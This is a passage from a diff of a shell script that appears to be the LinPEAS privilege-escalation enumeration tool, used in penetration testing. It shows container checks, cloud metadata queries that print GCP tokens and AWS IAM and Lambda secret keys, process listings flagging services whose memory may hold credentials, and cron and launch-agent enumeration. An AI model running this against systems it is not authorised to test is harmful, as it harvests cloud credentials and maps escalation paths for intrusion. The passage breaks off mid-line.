defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap" + cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g" + echo $ITALIC"Run capsh --decode= to decode the capabilities"$NC + fi + echo "" + + print_2title "Privilege Mode" + if [ -x "$(command -v fdisk)" ]; then + if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then + echo "Privilege Mode is enabled"| sed -${E} "s,enabled,${SED_RED_YELLOW}," + else + echo "Privilege Mode is disabled"| sed -${E} "s,disabled,${SED_GREEN}," + fi + else + echo_not_found + fi + echo "" + + print_2title "Interesting Files Mounted" + (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g" + echo "" + + print_2title "Possible Entrypoints" + ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq + echo "" +fi + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q cloud; then +print_title "Cloud" +########################################### +#-----------) Cloud functions (-----------# +########################################### + +GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" +GCP_BAD_SCOPES="/cloud-platform|/compute" + +exec_with_jq(){ + if [ "$(command -v jq)" ]; then + $@ | jq 2>/dev/null; + if ! [ $? -eq 0 ]; then + $@; + fi + else + $@; + fi +} + +check_gcp(){ + is_gcp="No" + if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then + is_gcp="Yes" + fi +} + +check_do(){ + is_do="No" + if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then + is_do="Yes" + fi +} + +check_ibm_vm(){ + is_ibm_vm="No" + if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then + curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1 + if [ "$?" -eq 0 ]; then + IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) ) + is_ibm_vm="Yes" + fi + fi +} + +check_aws_ecs(){ + is_aws_ecs="No" + if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q ECS_CONTAINER_METADATA_URI); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then + is_aws_ecs="Yes"; + fi + + if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + fi +} + +check_aws_ec2(){ + is_aws_ec2="No" + is_aws_ec2_beanstalk="No" + + if [ -d "/var/log/amazon/" ]; then + is_aws_ec2="Yes" + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + + else + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then + is_aws_ec2="Yes" + fi + fi + + if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then + is_aws_ec2_beanstalk="Yes" + fi +} + +check_aws_lambda(){ + is_aws_lambda="No" + + if (env | grep -q AWS_LAMBDA_); then + is_aws_lambda="Yes" + fi +} + + +check_gcp +print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_ecs +print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_ec2 +print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_lambda +print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_do +print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_ibm_vm +print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," + +echo "" + +if [ "$is_gcp" = "Yes" ]; then + gcp_req="" + if [ "$(command -v curl)" ]; then + gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"' + elif [ "$(command -v wget)" ]; then + gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + + if [ "$gcp_req" ]; then + print_2title "Google CLoud Platform Enumeration" + print_info "https://book.hacktricks.xyz/cloud-security/gcp-security" + + ## GC Project Info + p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') + [ "$p_id" ] && echo "Project-ID: $p_id" + p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') + [ "$p_num" ] && echo "Project Number: $p_num" + pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys') + [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" + p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') + [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" + + # OSLogin Info + osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) + [ "$osl_u" ] && echo "OSLogin users: $osl_u" + osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups) + [ "$osl_g" ] && echo "OSLogin Groups: $osl_g" + osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys) + [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" + osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) + [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" + + # Instance Info + inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) + [ "$inst_d" ] && echo "Instance Description: " + inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname) + [ "$inst_hostn" ] && echo "Hostname: $inst_hostn" + inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) + [ "$inst_id" ] && echo "Instance ID: $inst_id" + inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image) + [ "$inst_img" ] && echo "Instance Image: $inst_img" + inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type) + [ "$inst_mt" ] && echo "Machine Type: $inst_mt" + inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name) + [ "$inst_n" ] && echo "Instance Name: $inst_n" + inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags) + [ "$inst_tag" ] && echo "Instance tags: $inst_tag" + inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) + [ "$inst_zone" ] && echo "Zone: $inst_zone" + + inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") + [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" + inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") + [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name" + inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin") + [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e" + inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels") + [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab" + inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig") + [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" + inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") + [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" + + echo "" + print_3title "Interfaces" + for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do + echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip") + echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") + echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway") + echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") + echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") + echo " ============== " + done + + echo "" + print_3title "User Data" + echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script") + echo "" + + echo "" + print_3title "Service Accounts" + for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do + echo " Name: $sa" + echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") + echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") + echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") + echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" + echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") + echo " ============== " + done + fi +fi + + +if [ "$is_aws_ecs" = "Yes" ]; then + print_2title "AWS ECS Enumeration" + + aws_ecs_req="" + if [ "$(command -v curl)" ]; then + aws_ecs_req='curl -s -f' + elif [ "$(command -v wget)" ]; then + aws_ecs_req='wget -q -O -' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_ecs_metadata_uri" ]; then + print_3title "Container Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" + echo "" + + print_3title "Task Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task" + echo "" + else + echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" + fi + + if [ "$aws_ecs_service_account_uri" ]; then + print_3title "IAM Role" + exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" + echo "" + else + echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" + fi +fi + +if [ "$is_aws_ec2" = "Yes" ]; then + print_2title "AWS EC2 Enumeration" + + HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" + URL="http://169.254.169.254/latest/meta-data" + + aws_req="" + if [ "$(command -v curl)" ]; then + aws_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + aws_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_req" ]; then + printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" + printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" + printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" + printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" + printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" + printf "region: "; eval $aws_req "$URL/placement/region"; echo "" + + echo "" + print_3title "Account Info" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" + + echo "" + print_3title "Network Info" + for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do + echo "Mac: $mac" + printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" + printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" + printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" + echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" + printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" + echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" + printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" + echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" + echo "" + done + + echo "" + print_3title "IAM Role" + exec_with_jq eval $aws_req "$URL/iam/info"; echo "" + for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do + echo "Role: $role" + exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo "" + echo "" + done + + echo "" + print_3title "User Data" + eval $aws_req "http://169.254.169.254/latest/user-data"; echo "" + + echo "" + echo "EC2 Security Credentials" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" + + print_3title "SSM Runnig" + ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED}," + fi +fi + +if [ "$is_aws_lambda" = "Yes" ]; then + print_2title "AWS Lambda Enumeration" + printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME + printf "Region: "; env | grep AWS_REGION + printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY + printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID + printf "Session token: "; env | grep AWS_SESSION_TOKEN + printf "Security token: "; env | grep AWS_SECURITY_TOKEN + printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API + printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") +fi + +if [ "$is_do" = "Yes" ]; then + print_2title "DO Droplet Enumeration" + + do_req="" + if [ "$(command -v curl)" ]; then + do_req='curl -s -f ' + elif [ "$(command -v wget)" ]; then + do_req='wget -q -O - ' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$do_req" ]; then + URL="http://169.254.169.254/metadata" + printf "Id: "; eval $do_req "$URL/v1/id"; echo "" + printf "Region: "; eval $do_req "$URL/v1/region"; echo "" + printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo "" + printf "User data: "; eval $do_req "$URL/v1/user-data"; echo "" + printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo "" + printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces"; + printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip"; + printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip"; + printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags"; + printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features"; + fi +fi + +if [ "$is_ibm_vm" = "Yes" ]; then + print_2title "IBM Cloud Enumeration" + + if ! [ "$IBM_TOKEN" ]; then + echo "Couldn't get the metdata token:(" + + else + TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN" + ACCEPT_HEADER="Accept: application/json" + URL="http://169.254.169.254/latest/meta-data" + + ibm_req="" + if [ "$(command -v curl)" ]; then + ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + elif [ "$(command -v wget)" ]; then + ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + print_3title "Instance Details" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" + + print_3title "Keys and User data" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" + + print_3title "Placement Groups" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" + + print_3title "IAM credentials" + exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" + fi + +fi + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets; then +print_title "Processes, Crons, Timers, Services and Sockets" + +#################################################### +#-----) Processes & Cron & Services & Timers (-----# +#################################################### + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Cleaned proccesses + print_2title "Cleaned processes" + + if [ "$NOUSEPS" ]; then + printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC + fi + print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" + + if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then + echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users" + fi + + if [ "$NOUSEPS" ]; then + print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," + pslist=$(print_ps) + else + (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do + echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED}," + if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then + cpid=$(echo "$psline" | awk '{print $2}') + caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')" + if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then + printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g" + fi + fi + done + pslist=$(ps auxwww) + echo "" + + #-- PCS) Binary processes permissions + print_2title "Binary processes permissions (non 'root root' and not belonging to current user)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes" + binW="IniTialiZZinnggg" + ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do + if [ -w "$bpath" ]; then + binW="$binW|$bpath" + fi + done + ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN}," + fi + echo "" +fi + +CURRENT_USER_PIVOT_PID="" +if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then + #-- PCS) Process opened by other users + print_2title "Processes whose PPID belongs to a different user (not root)" + print_info "You will know if a user can somehow spawn processes as a different user" + + # Function to get user by PID + get_user_by_pid() { + ps -p "$1" -o user | grep -v "USER" + } + + # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user + ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do + if [ "$ppid" = "0" ]; then + continue + fi + ppid_user=$(get_user_by_pid "$ppid") + if echo "$user" | grep -Eqv "$ppid_user|root$"; then + echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + if [ "$ppid_user" = "$USER" ]; then + CURRENT_USER_PIVOT_PID="$ppid" + fi + fi + done + echo "" +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Files opened by processes belonging to other users + if ! [ "$IAMROOT" ]; then + print_2title "Files opened by processes belonging to other users" + print_info "This is usually empty because of the lack of privileges to read other user processes information" + lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + echo "" + fi +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Processes with credentials inside memory + print_2title "Processes with credentials in memory (root req)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory" + if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi + if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi + if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi + if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi + if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi + if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi + echo "" +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Different processes 1 min + if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then + print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs" + temp_file=$(mktemp) + if [ "$(ps -e -o user,command 2>/dev/null)" ]; then + for i in $(seq 1 1210); do + ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05; + done; + sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"; + rm "$temp_file"; + fi + echo "" + fi +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Cron + print_2title "Cron jobs" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" + command -v crontab 2>/dev/null || echo_not_found "crontab" + crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + command -v incrontab 2>/dev/null || echo_not_found "incrontab" + incrontab -l 2>/dev/null + ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" + cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED}," + crontab -l -u "$USER" 2>/dev/null | tr -d "\r" + ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths + atq 2>/dev/null +else + print_2title "Cron jobs" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs" + find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \; +fi +echo "" + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$MACPEAS" ]; then + print_2title "Third party LaunchAgents & LaunchDemons" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd" + ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null + echo "" + + print_2title "Writable System LaunchAgents & LaunchDemons" + find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do + program="" + program=$(defaults read "$f" Program 2>/dev/null) + if ! [ "$program" ]; then + program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2) + fi + if [ -w "$program" ]; then + echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},"; + fi + done + echo "" + + print_2title "StartupItems" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items" + ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null + echo "" + + print_2title "Login Items" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items" + osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null + echo "" + + print_2title "SPStartupItemDataType" + system_profiler 